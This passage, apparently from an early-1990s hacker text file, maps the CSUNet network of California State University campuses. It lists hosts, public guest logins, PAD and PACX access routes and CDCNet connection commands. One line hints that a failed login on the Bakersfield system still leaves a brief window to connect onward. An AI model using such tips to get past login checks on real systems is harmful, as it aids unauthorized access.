| (At the time of this writing, several of the machines were unreachable. They |
| are marked with "No info available") |
|
|
| hum - Humboldt State University CDC Cyber 180-830 (NOS 2.7.1) |
| swrl - A CalState CDC Cyber named "Swirl", running CDCNet. You may use |
| CDCNet to connect to the following hosts: |
| ATL (SunOS, eis.calstate.edu), login as: |
| access to request an account |
| ctp to access CTP |
| CCS CDC Cyber 960-31 (NOS 2.7.1) - This is Swirl without CDCNet |
| COC CDC Cyber 960-31 (NOS 2.7.1) |
| FILLY VAX 6230 (VMS 5.3) |
| ICEP IBM 4381 (VM) |
| OX IBM 4381 (MVS) (Aptly Named) |
| mlvl - University of California's Library Catalog System, named |
| "Melvyl". |
| sb - Calstate/San Bernardino CDC Cyber 180-830 (NOS 2.5.2) |
| sd - San Diego State University CDC Cyber 180-830B (NOS 2.7.1) |
| chi - Calstate/Chico CDC Cyber 180-830 (NOS 2.7.1) - oddly enough |
| this system is running CDCNet with itself as the only host |
| bak - Calstate/Bakersfield CDC Cyber Dual 830 CMR-1 (NOS 2.7.1) |
| this system is running CDCNet, and if you fail the login, you |
| can connect to these systems, if you type fast enough: |
| CCS - Central Cyber 960 System |
| CSBINA - CSUB Instructional Vax 3900 |
| CSBOAA - CSUB Office Automation Vax 4300 |
| CYBER - Local host |
| RBFBATCH - CSUB CDC Cyber Remote Batch Gateway |
| ccs - CDC Cyber 960-31 (CCS from Swirl) |
| coc - CDC Cyber 960-31 (COC from Swirl) |
| dh - Calstate/Dominguez Hills CDC Cyber 960-11 (NOS 2.7.1) - |
| this system runs CDCNet with no hosts.. go figure |
| fre - Calstate/Fresno - No info available |
| ful - Calstate/Fullerton - No info available |
| hay - Calstate/Hayward - No info available |
| la - Calstate/Los Angeles - No info available |
| lb - Calstate/Long Beach - No info available |
| mv - No info available |
| news - No info available |
| nor - Calstate/Northridge - No info available |
| pom - California State Polytechnic University, Pomona - No info available |
| sac - Calstate/Sacramento CDC Cyber 180-830 (NOS 2.5.2) |
| sf - Calstate/San Francisco - No info available |
| sj - San Jose State University - No info available |
| son - Sonoma State University CDC Cyber 180-830 (NOS 2.7.1) - this |
| system runs CDCNet with itself as the only host |
| sm - No info available |
| slo - California State Polytechnic University, San Luis Obispo - No info |
| available |
| sta - Calstate/Stanislaus - No info available |
| ven - No info available |
| carl - No info available |
|
|
| caps - CSUNet networking machine. From it, you can connecting to most |
| PAD hosts plus a few more. The extras are: |
| access - Connect to eis.calstate.edu (login as "access") |
| core - Connect to eis.calstate.edu (login as "core") |
| ctp - Connect to eis.calstate.edu (login as "ctp") |
| eis - Connect to eis.calstate.edu (login as "eis") |
| trie - Connect to eis.calstate.edu (login as "trie") |
| csupernet - CSUPERNet appears to be a public-access UNIX. |
| login as "public" for ATI-Net. |
| login as "super" for academic information. |
| login as "atls" for the ATLS system |
| Once you apply for an account here, you can telnet |
| to caticsuf.cati.csufresno.edu to use it. |
|
|
| This is all well and good, but how to you access CSUNet? It can be reached |
| via Internet, using the Humbolt PACX (pacx.humboldt.edu). The Humboldt PACX |
| allows several services, among them are: |
|
|
| X25 - Connect directly to CSUNet PAD |
| 960 - CDC Cyber 180/830 (Swirl) |
| 830 - CDC Cyber 180/830 (COC from Swirl) |
| VAX - VAX 8700 (VMS V5.3) |
| 70 - DEC PDP 11/70 (running RSTS) |
| SEQ - Sequent S81 (running Dynix V3.1.4 X.25 UNIX software) |
| TELNET - Telnet Server |
|
|
| That's really all there is to say concerning the network structure (well, |
| I could go through and list all their X.25 addresses, but I won't). There's a |
| ton more to be said about using this network, but its little quirks and |
| surprises can be left to you to figure out. What I can do here is give a few |
| hints on using CDCNet and the PAD. |
|
|
| Using the PAD |
| ~~~~~~~~~~~~~ |
| Once you're at the X.25 PAD, you'll get a message like: |
| CSUnet Humboldt PCI/01, Port: P17 |
| At the "Pad>" prompt, simply type the hostname to connect to. When in |
| doubt, type "help <subjectname>", or just "help" for a list of subjects that |
| help is available on. |
|
|
| Using CDCNet |
| ~~~~~~~~~~~~ |
| When a CDC Cyber says "You may now execute CDCNet Commands", this is your |
| cue. You have the following commands available: |
|
|
| activate_auto_recognition |
| activate_x_personal_computer |
| change_connection_attribute |
| change_terminal_attribute |
| change_working_connection |
| create_connection |
| delete_connection |
| display_command_information |
| display_command_list |
| display_connection |
| display_connection_attribute |
| display_service |
| display_terminal_attribute |
| do |
| help |
| request_network_operator |
|
|
| The ones to concern yourself with are display_service, create_connection, |
| and help. "help" gives the above command listing (useful), "display_service" |
| lists the hosts on the current CDCNet, and "create_connection <host>" creates a |
| connection to "host" on the CDCNet. |
|
|
| ******************************************************************************* |
|
|
|
|
| |
